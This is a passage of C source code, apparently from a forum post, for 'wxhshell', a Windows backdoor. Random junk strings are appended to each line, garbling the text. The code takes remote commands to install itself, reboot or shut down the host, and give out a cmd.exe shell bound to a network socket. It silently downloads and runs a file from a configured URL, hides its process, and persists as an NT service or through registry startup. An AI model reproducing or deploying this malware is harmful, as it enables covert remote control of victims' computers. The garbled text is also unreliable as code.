      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fcxg6W'  
    break; P0yDL:X[  
  } v^ "qr?3V  
  // 安装 BBM[Fy37!}  
  case 'i': { ,`JYFh M  
    if(Install()) sC.b '1P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q7rBc wm5  
    else /v^ '5j1o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R\|,GZ!`+  
    break; hw,nA2w\  
    } vhPlH0  
  // 卸载 yUj`vu 2  
  case 'r': { o3V\   
    if(Uninstall()) <Y."()}GeH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =WjHf8v;  
    else LD ]-IX&L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N"}>);r  
    break; Xf_#O'z  
    } Kf1J;*i|\  
  // 显示 wxhshell 所在路径 {;DAKWm@T  
  case 'p': { gu3iaM$W  
    char svExeFile[MAX_PATH]; Mh*r)B~%[  
    strcpy(svExeFile,"\n\r"); dzEi^* (8  
      strcat(svExeFile,ExeFile); K(i}?9WD  
        send(wsh,svExeFile,strlen(svExeFile),0);  tPQ|znB|  
    break; r[4n2Mys  
    } ~4khIz  
  // 重启 "h#R>3I1)  
  case 'b': { g:z<CSIq/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D#UuIZ  
    if(Boot(REBOOT)) -Y@tx fu-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q=VRH:  
    else { @oE 5JM  
    closesocket(wsh); xRe`Duy:  
    ExitThread(0); #m,H1YH M  
    } `0\Z*^>  
    break; y QClq{A  
    } x>}ml\R  
  // 关机 =nHKTB>  
  case 'd': { iP0m1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N2O *g`YC  
    if(Boot(SHUTDOWN)) r5DR F4,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V_:`K$  
    else { HD^#"  
    closesocket(wsh); ?>Sv_0  
    ExitThread(0); S s+F  
    } wkM1tKhy/  
    break; /QY F|%7!  
    } iqvLu{  
  // 获取shell S[1<Qrv]  
  case 's': { hE|P|0U,n  
    CmdShell(wsh); .Q%Hi7JMi  
    closesocket(wsh); ,c4HicRJ#  
    ExitThread(0); ~f h  
    break; g3z/yj  
  } y6nP=g|')>  
  // 退出 0n{.96r0R  
  case 'x': { RNi%6A1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \IE![=p\w  
    CloseIt(wsh); HohCb4do  
    break; rS{}[$Zpl  
    } iX$G($[l(  
  // 离开 G IN|cv=  
  case 'q': { #B;P4n3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c,4~zN8Ou  
    closesocket(wsh); -g@!\{  
    WSACleanup(); m<h%BDSzr{  
    exit(1); /?eVWCR  
    break; iM@$uD$_Q2  
        } q#tUDxf(|  
  } 5p (zhfuG  
  } _K o#36.S  
V4+ |D2   
  // 提示信息 #RBrii-,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v>_@D@pr  
} ;=y"Z^  
  } :j]1wp+  
C(ij_>  
  return; wb0$FZzh  
} s*k)h,\  
j6GIB_  
// shell模块句柄 t>[W]%op  
int CmdShell(SOCKET sock) riDb !oC  
{ 17 Ugz?  
STARTUPINFO si; 4rU/2}. q  
ZeroMemory(&si,sizeof(si)); ( zWBrCX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <0})%V?-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X:oOp=y]|  
PROCESS_INFORMATION ProcessInfo; W:_-I4 q~  
char cmdline[]="cmd"; ISGw}#}]?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J!2Z9<q5  
  return 0; /eI|m9ke  
} G&ck98  
0 0N[ : %  
// 自身启动模式 .xN<<+|_v'  
int StartFromService(void) X`.##S KC  
{ {y9G "  
typedef struct lL}NiN-)t  
{ 'X;cgAq8(  
  DWORD ExitStatus; (`1i o  
  DWORD PebBaseAddress; G-d7}Uz ?  
  DWORD AffinityMask; hzo> :U  
  DWORD BasePriority; x4WCAqi/2  
  ULONG UniqueProcessId; cUY-  
  ULONG InheritedFromUniqueProcessId; iFd !ED  
}   PROCESS_BASIC_INFORMATION; { ADd[V  
'z$$ZEz!C  
PROCNTQSIP NtQueryInformationProcess; F\m^slsu7=  
z`wIb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zw]"p63eMa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l7|z]v-  
qX ,q*hr-  
  HANDLE             hProcess; 3vY-;&  
  PROCESS_BASIC_INFORMATION pbi; ek][^^4o  
"`>6M&`U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0P$1=oK  
  if(NULL == hInst ) return 0; 8A#,*@V[  
~CNB3r5R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @G4Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ], lLD UZ\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C%z)D1-  
Tqt-zX|>  
  if (!NtQueryInformationProcess) return 0; "w:h  
8ymdg\I+L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BJjic%V  
  if(!hProcess) return 0; ,"EaZ/Bl/  
2lTt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }J#HIE\RG  
]l,D,d81  
  CloseHandle(hProcess); "^#O7.oVi+  
" `qk}n-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l77 -I:  
if(hProcess==NULL) return 0; =A'>1N  
b j&!$')  
HMODULE hMod; 2FMmANH0ev  
char procName[255]; riIubX#  
unsigned long cbNeeded; 0~U#DTx0  
\D@j`o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z[#8F&QV!m  
Z)7{~xq  
  CloseHandle(hProcess); 5i[O\@]5  
&W45.2  
if(strstr(procName,"services")) return 1; // 以服务启动 p:~#(/GWf  
~ P\4 N  
  return 0; // 注册表启动 %Psg53N  
} ~su>RolaX  
}>{R<[I!G  
// 主模块 w){B$X  
int StartWxhshell(LPSTR lpCmdLine) xrf|c  
{ [U&k"s?  
  SOCKET wsl; _}F& ^  
BOOL val=TRUE; y!b"Cj  
  int port=0; f)Qln[/  
  struct sockaddr_in door; \@@G\\)er  
"yu{b]AU  
  if(wscfg.ws_autoins) Install(); A[l )>:  
 "9;  
port=atoi(lpCmdLine); HxO+JI`'3  
A?MM9Y}K  
if(port<=0) port=wscfg.ws_port; TAYh#T=S  
[j6]!p]S$  
  WSADATA data;  zK6w0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q /JC\  
9C7Npf?~M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R>bg3j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mnA_$W3~I  
  door.sin_family = AF_INET; S)EF&S(TC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); && ]ix3  
  door.sin_port = htons(port); WSozDNF!'f  
U^_\V BAk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bc(MN8b]j  
closesocket(wsl); -C2!`/U  
return 1; #w;"s*  
} n*[ZS[I  
!j$cBf4  
  if(listen(wsl,2) == INVALID_SOCKET) { Ce+:9}[  
closesocket(wsl); mZiKA-t  
return 1; ThV>gn5  
} y3;M$Jr  
  Wxhshell(wsl); }1 O"?6  
  WSACleanup(); _g Mr]%Q  
PJK:LZw  
return 0; KH2]:&6:Q  
6w%n$tiX  
} z?DCQ  
yy5|8L  
// 以NT服务方式启动 ]y#'U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !$NK7-  
{ >~,~X9   
DWORD   status = 0; "M:ui0YP  
  DWORD   specificError = 0xfffffff; \`y:#N<c  
N8nt2r<h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UlWmf{1%]?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >,,`7%Rv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ar)EbGId  
  serviceStatus.dwWin32ExitCode     = 0; |Ua);B~F  
  serviceStatus.dwServiceSpecificExitCode = 0; _)j\ b  
  serviceStatus.dwCheckPoint       = 0; JL {H3r&/S  
  serviceStatus.dwWaitHint       = 0; {+lU4u  
|OLXb+ 7X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`- 8+"P  
  if (hServiceStatusHandle==0) return; T'6`A<`3  
l$5nv5r  
status = GetLastError(); (&.T  
  if (status!=NO_ERROR) *C55DO^w  
{ oLkzLJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g{Av =66Z  
    serviceStatus.dwCheckPoint       = 0; ASdW!4.p  
    serviceStatus.dwWaitHint       = 0; =R:O`qdC4e  
    serviceStatus.dwWin32ExitCode     = status; %f CkR`:  
    serviceStatus.dwServiceSpecificExitCode = specificError; >K'dgJ245  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uG -+&MU?  
    return; '9QEG/v  
  } %e[E@H7  
#|T"6jJaQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t;+b*S6D  
  serviceStatus.dwCheckPoint       = 0; j3&q?1  
  serviceStatus.dwWaitHint       = 0; "$N$:B@U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jOCV)V9}  
} - "zW"v)\  
;'Hu75ymo  
// 处理NT服务事件,比如:启动、停止 r\QV%09R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aEzf*a|fSV  
{ or#] ![7N  
switch(fdwControl) t<dFH}U`w  
{ ZklO9Ox(  
case SERVICE_CONTROL_STOP: T 9`AL  
  serviceStatus.dwWin32ExitCode = 0; jW7ffb `O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ; o'>`=Y  
  serviceStatus.dwCheckPoint   = 0; K bQXH!J  
  serviceStatus.dwWaitHint     = 0; .(/HUQn  
  { aA$\iFYA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$z%:Q  
  } 7(D)U)9h  
  return; Pek[j)g}  
case SERVICE_CONTROL_PAUSE: FI:H/e5[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zrwd  
  break; <#8}![3Q  
case SERVICE_CONTROL_CONTINUE: <}RD]Sc$1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HY_>sD  
  break; CF3x\6.q}  
case SERVICE_CONTROL_INTERROGATE: \A^8KVE!  
  break; (Zx--2lc  
}; q~#>MB}".  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q{V e%8$"  
} /t`|3Mw  
e<uf)K=(C  
// 标准应用程序主函数 /&\ V6=jA1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pm#/j;  
{ )a0l:jEOc  
-J=6)  
// 获取操作系统版本 r]-n,  
OsIsNt=GetOsVer(); Ae=JG8Ht~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IG|u;PH<  
<V)z{uK  
  // 从命令行安装 NA$)qX_  
  if(strpbrk(lpCmdLine,"iI")) Install(); u`wD6&y*  
{ k=3OIp  
  // 下载执行文件 KaMg [ G  
if(wscfg.ws_downexe) { )-"<19eu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]35`N<Ac  
  WinExec(wscfg.ws_filenam,SW_HIDE); P0; y  
} X2I_,k'fQ  
[(a3ljbRX  
if(!OsIsNt) { FO>!T@0G  
// 如果时win9x,隐藏进程并且设置为注册表启动 =}tomN(F~[  
HideProc(); (`slC~"  
StartWxhshell(lpCmdLine); E,\)tZ;,  
} Id^q!4Th9  
else DZmVm['l  
  if(StartFromService()) S0OL;[*.  
  // 以服务方式启动 ZD]{HxGL!  
  StartServiceCtrlDispatcher(DispatchTable); U:99w  
else ] 7[#K^  
  // 普通方式启动 *.eeiSi{  
  StartWxhshell(lpCmdLine); E$z-|-{>  
f99"~)B|  
return 0; "*/IP9?]  
}
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只看该作者 1 发表于: 2006-10-10
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